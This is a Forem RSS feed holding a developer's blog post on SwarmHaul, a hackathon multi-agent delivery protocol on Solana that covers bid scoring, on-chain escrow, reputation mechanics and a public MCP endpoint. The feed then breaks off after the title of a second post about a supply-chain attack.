<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Sharang Parnerkar</title>
    <description>The latest articles on Forem by Sharang Parnerkar (@mighty840).</description>
    <link>https://forem.com/mighty840</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3787721%2Fb0f05659-7097-4c46-a737-50bac1a6e824.jpg</url>
      <title>Forem: Sharang Parnerkar</title>
      <link>https://forem.com/mighty840</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/mighty840"/>
    <language>en</language>
    <item>
      <title>SwarmHaul: Building a Self-Organizing Agent Economy on Solana</title>
      <dc:creator>Sharang Parnerkar</dc:creator>
      <pubDate>Tue, 21 Apr 2026 09:10:39 +0000</pubDate>
      <link>https://forem.com/mighty840/swarmhaul-building-a-self-organizing-agent-economy-on-solana-4163</link>
      <guid>https://forem.com/mighty840/swarmhaul-building-a-self-organizing-agent-economy-on-solana-4163</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt; — SwarmHaul is a multi-agent coordination protocol on Solana built for the &lt;a href="https://arena.colosseum.org" rel="noopener noreferrer"&gt;Frontier Hackathon&lt;/a&gt;. Autonomous AI agents self-organize into delivery swarms, negotiate relay routes, and settle payment per-contribution via Anchor. A skewed reputation system (gaining is slow, losing is instant) keeps Sybil attacks pointless. A public MCP endpoint lets any AI client — Claude, Cursor, custom agents — discover tasks and submit bids as tool calls.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  The framing that unlocked the design
&lt;/h2&gt;

&lt;p&gt;Micro-logistics is a familiar demo. What makes SwarmHaul different is the framing: &lt;strong&gt;logistics is the demo, protocol is the product.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The real question we're answering is: &lt;em&gt;how do you coordinate a fleet of autonomous AI agents that don't share memory, can't fully trust each other, and need to split money for work they do together?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Delivery is just the concrete case. The same primitives — swarm formation, relay routing, on-chain settlement, emergent reputation — apply anywhere you have agents that need to negotiate, collaborate, and pay each other.&lt;/p&gt;




&lt;h2&gt;
  
  
  Architecture in one diagram
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────┐    bid     ┌──────────────────┐   assign_leg    ┌──────────────┐
│  AI Agent   │──────────▶│  Swarm Coordinator│────────────────▶│ Solana Anchor│
│  (Node.js)  │           │  (Fastify API)    │                 │   Program    │
│             │◀──────────│                   │◀────────────────│              │
│ LLM reason  │  itinerary │  Route optimizer  │  confirm_leg    │  Vault escrow│
│ Rule fallbk │           │  Reputation engine│  + events       │  Reputation  │
└─────────────┘           └──────────────────┘                 │  PDAs        │
                                    │                           └──────────────┘
                                    │ WebSocket events
                                    ▼
                          ┌──────────────────┐
                          │  Dashboard       │
                          │  (React + Vite)  │
                          │                  │
                          │  Observatory     │
                          │  Swarm inspector │
                          │  Live confirm UI │
                          └──────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Tech stack:&lt;/strong&gt; Turborepo monorepo · Fastify · React/Vite · Anchor (Rust) · Prisma/Postgres · LiteLLM for agent reasoning · Leaflet/OSM for map rendering.&lt;/p&gt;




&lt;h2&gt;
  
  
  Swarm formation: O(n²) in 58ms
&lt;/h2&gt;

&lt;p&gt;When a shipper posts a task, the coordinator receives bids from courier agents within a time window. The route optimizer solves the assignment problem: given N bids with proposed legs, assemble the cheapest relay chain that covers origin → destination.&lt;/p&gt;

&lt;p&gt;The naive approach is O(n²) itinerary matching. We made it fast enough to not matter in practice (58ms for 1,000 bids). Reputation adds a small nudge:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// apps/api/src/services/swarm-coordinator.ts&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;scoreBid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;bid&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Bid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;reputation&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;BASE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;bid&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cost_lamports&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="c1"&gt;// γ = 0.08: reputation nudges cost by at most ±3.2% (γ × max_rep = 0.08 × 0.4)&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;GAMMA&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;0.08&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;BASE&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;GAMMA&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;reputation&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Reputation never dominates cost — it nudges by at most ~3.2%. An expensive reliable agent won't beat a cheap unknown one on price alone. This keeps the market honest.&lt;/p&gt;




&lt;h2&gt;
  
  
  On-chain settlement: Anchor + multi-leg handoff
&lt;/h2&gt;

&lt;p&gt;Every delivery is a vault escrow. The shipper's SOL is locked in a PDA at &lt;code&gt;list_package&lt;/code&gt;. Couriers get paid only after signing &lt;code&gt;confirm_leg&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The tricky part is &lt;strong&gt;multi-leg relays&lt;/strong&gt;. A package routed A→B→C requires two handoffs:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Courier 1 delivers to Courier 2. Courier 2's signature &lt;em&gt;is&lt;/em&gt; the handoff attestation.&lt;/li&gt;
&lt;li&gt;Courier 2 delivers to the shipper. Shipper's signature releases the vault.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We enforce this in the Anchor program with strict leg ordering:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="c1"&gt;// packages/solana/programs/swarmhaul/src/instructions/confirm_leg.rs&lt;/span&gt;
&lt;span class="nd"&gt;require!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;leg_account&lt;/span&gt;&lt;span class="py"&gt;.leg_index&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;swarm_account&lt;/span&gt;&lt;span class="py"&gt;.completed_legs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nn"&gt;SwarmHaulError&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;LegOutOfOrder&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// For intermediate legs, next_leg_account must be present&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;leg_account&lt;/span&gt;&lt;span class="py"&gt;.leg_index&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;swarm_account&lt;/span&gt;&lt;span class="py"&gt;.total_legs&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nd"&gt;require!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="py"&gt;.accounts.next_leg_account&lt;/span&gt;&lt;span class="nf"&gt;.is_some&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
        &lt;span class="nn"&gt;SwarmHaulError&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;MissingNextLeg&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="c1"&gt;// recipient must be the next-hop courier&lt;/span&gt;
    &lt;span class="nd"&gt;require!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;leg_account&lt;/span&gt;&lt;span class="py"&gt;.courier&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="py"&gt;.accounts.next_leg.courier&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nn"&gt;SwarmHaulError&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;WrongRecipient&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Out-of-order attempts fail with &lt;code&gt;LegOutOfOrder&lt;/code&gt;. Wrong recipient on an intermediate leg fails with &lt;code&gt;WrongRecipient&lt;/code&gt;. The vault only pays when the chain is complete and every link is attested.&lt;/p&gt;




&lt;h2&gt;
  
  
  The reputation system: gaining is hard, losing is instant
&lt;/h2&gt;

&lt;p&gt;This is the most interesting piece, and the one with the most direct applicability outside logistics.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The core invariant:&lt;/strong&gt; a single &lt;code&gt;ContractBreached&lt;/code&gt; (−0.80) undoes roughly 16 &lt;code&gt;ContractCompleted&lt;/code&gt; events (+0.05 each). The asymmetry is the point.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// apps/api/src/services/reputation-engine.ts&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;applyPositiveEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;score&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;delta&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// Diminishing returns toward 1.0 — nobody reaches perfection&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;GAIN_FACTOR&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;score&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;1.0&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;score&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nx"&gt;GAIN_FACTOR&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nx"&gt;delta&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;applyNegativeEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;score&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;delta&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// Linear, uncapped — losses are not dampened&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;score&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;delta&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A fresh agent at 0.3 gains &lt;code&gt;0.5 × 0.7 × 0.05 = 0.0175&lt;/code&gt; from completing a delivery. An agent at 0.9 gains only &lt;code&gt;0.5 × 0.1 × 0.05 = 0.0025&lt;/code&gt; from the same event. But both lose 0.80 from a single breach.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why this makes Sybil attacks pointless
&lt;/h3&gt;

&lt;p&gt;If an agent builds a bad reputation and spins up a new identity, they start at the default &lt;code&gt;base_score = 0.3&lt;/code&gt; with a &lt;strong&gt;first-meeting ceiling of 0.6&lt;/strong&gt; — no matter how many credentials they present on first contact:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;selfEstimate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;signals&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;TrustSignals&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;score&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;BASE_SCORE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// 0.3&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;signals&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;didResolves&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;score&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mf"&gt;0.05&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;vc&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;signals&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;verifiableCredentials&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;score&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mf"&gt;0.02&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nx"&gt;vc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;issuerTrustScore&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;score&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;FIRST_MEETING_CEILING&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// hard cap at 0.6&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Building a fresh identity to &lt;code&gt;0.8&lt;/code&gt; takes hundreds of successful deliveries. Destroying one takes seconds. The protocol makes reputation cheap to lose and expensive to rebuild — which is how trust works in the real world.&lt;/p&gt;

&lt;h3&gt;
  
  
  No global oracle
&lt;/h3&gt;

&lt;p&gt;There is no single global reputation database. Every actor maintains their own local DB. Trust is emergent from direct (or transitively trusted) interactions — there's no single point a colluding group can capture.&lt;/p&gt;

&lt;p&gt;An agent can have bad reputation with everyone except its long-time trading partner, and that pair's bilateral trust is as legitimate as any broader consensus. Trust is not a majority vote.&lt;/p&gt;




&lt;h2&gt;
  
  
  Public MCP endpoint
&lt;/h2&gt;

&lt;p&gt;SwarmHaul exposes a public &lt;a href="https://modelcontextprotocol.io" rel="noopener noreferrer"&gt;Model Context Protocol&lt;/a&gt; endpoint. Any MCP-capable AI host can discover delivery tasks, submit bids, check reputation, and read economy stats as tool calls.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;POST https://api.swarmhaul.defited.com/mcp/call
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;swarmhaul_list_packages&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;List open delivery tasks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;swarmhaul_submit_bid&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Submit a bid as a courier agent&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;swarmhaul_get_reputation&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Look up an agent's reputation PDA&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;swarmhaul_economy_stats&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Live counts: packages, swarms, bids, SOL volume&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;swarmhaul_leaderboard&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Top 20 agents by reliability score&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;To wire it into Claude Desktop, add this to &lt;code&gt;claude_desktop_config.json&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"mcpServers"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"swarmhaul"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"url"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://api.swarmhaul.defited.com/mcp"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"transport"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"http"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Restart and ask Claude: &lt;em&gt;"What's the current SwarmHaul agent economy volume?"&lt;/em&gt; or &lt;em&gt;"Show me the reputation leaderboard."&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;You can also hit it directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST https://api.swarmhaul.defited.com/mcp/call &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'content-type: application/json'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"tool":"swarmhaul_economy_stats"}'&lt;/span&gt; | jq &lt;span class="s1"&gt;'.content[0].text | fromjson'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Agent reasoning: LLM with rule-based fallback
&lt;/h2&gt;

&lt;p&gt;Each courier agent uses an LLM to decide whether to bid, what price to offer, and whether to accept an assignment. The reasoning module always has a rule-based fallback so the agent keeps running even if the LLM is unavailable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// apps/agent/src/reasoning.ts&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;shouldBid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;task&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Task&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;agent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;AgentState&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;BidDecision&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;llmReason&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;task&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;agent&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Rule-based fallback: bid if within range and reputation is healthy&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;ruleBased&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;task&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;agent&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In production, three always-on agents run on &lt;a href="https://github.com/mighty840/orca" rel="noopener noreferrer"&gt;Orca&lt;/a&gt; and auto-deploy on every push to main. You can watch them bid against each other in the observatory dashboard.&lt;/p&gt;




&lt;h2&gt;
  
  
  Agent Economy Observatory
&lt;/h2&gt;

&lt;p&gt;The dashboard isn't just a package tracker — it's an interactive observatory with live sliders for the reputation economic constants (α and γ) that drive a real payment-allocator simulator through the API. You can watch the payment split change in real time as you tune the parameters.&lt;/p&gt;

&lt;p&gt;Live at: &lt;a href="https://dashboard.swarmhaul.defited.com" rel="noopener noreferrer"&gt;dashboard.swarmhaul.defited.com&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  What's next (Week 3)
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Courier in-transit signal:&lt;/strong&gt; an on-chain &lt;code&gt;courier_arrived&lt;/code&gt; event (signed by the courier) gates the shipper's CONFIRM DELIVERY button — the protocol closes the loop fully autonomously&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Agent execution loop:&lt;/strong&gt; agents run their full itinerary autonomously and auto-sign &lt;code&gt;courier_arrived&lt;/code&gt;; the end-to-end demo runs without any human clicks&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reputation PDA as DID+VC primitive:&lt;/strong&gt; expose a resolver so third parties can verify agent track records without trusting our API&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Privy embedded wallets:&lt;/strong&gt; remove the "install Phantom" barrier for new shippers&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Links
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href="https://github.com/mighty840/swarmhaul" rel="noopener noreferrer"&gt;github.com/mighty840/swarmhaul&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Pitch site:&lt;/strong&gt; &lt;a href="https://mighty840.github.io/swarmhaul-pitch/" rel="noopener noreferrer"&gt;mighty840.github.io/swarmhaul-pitch&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Observatory:&lt;/strong&gt; &lt;a href="https://dashboard.swarmhaul.defited.com" rel="noopener noreferrer"&gt;dashboard.swarmhaul.defited.com&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;API:&lt;/strong&gt; &lt;a href="https://api.swarmhaul.defited.com" rel="noopener noreferrer"&gt;api.swarmhaul.defited.com&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Docs:&lt;/strong&gt; &lt;a href="https://mighty840.github.io/swarmhaul/" rel="noopener noreferrer"&gt;mighty840.github.io/swarmhaul&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;MCP tools manifest:&lt;/strong&gt; &lt;code&gt;GET https://api.swarmhaul.defited.com/mcp/tools&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Built for the &lt;a href="https://arena.colosseum.org" rel="noopener noreferrer"&gt;Frontier Hackathon on Colosseum&lt;/a&gt; — targeting RFB 05 (Multi-Agent Orchestration), RFB 02 (Real-Time Coordination), and RFB 01 (Agent Reputation).&lt;/em&gt;&lt;/p&gt;

</description>
      <category>solana</category>
      <category>ai</category>
      <category>web3</category>
      <category>agents</category>
    </item>
    <item>
      <title>I Was Targeted by a DPRK-Linked Supply Chain Attack via LinkedIn. Here's Exactly How It Worked.</title>
      <dc:creator>Sharang Parnerkar</dc:creator>
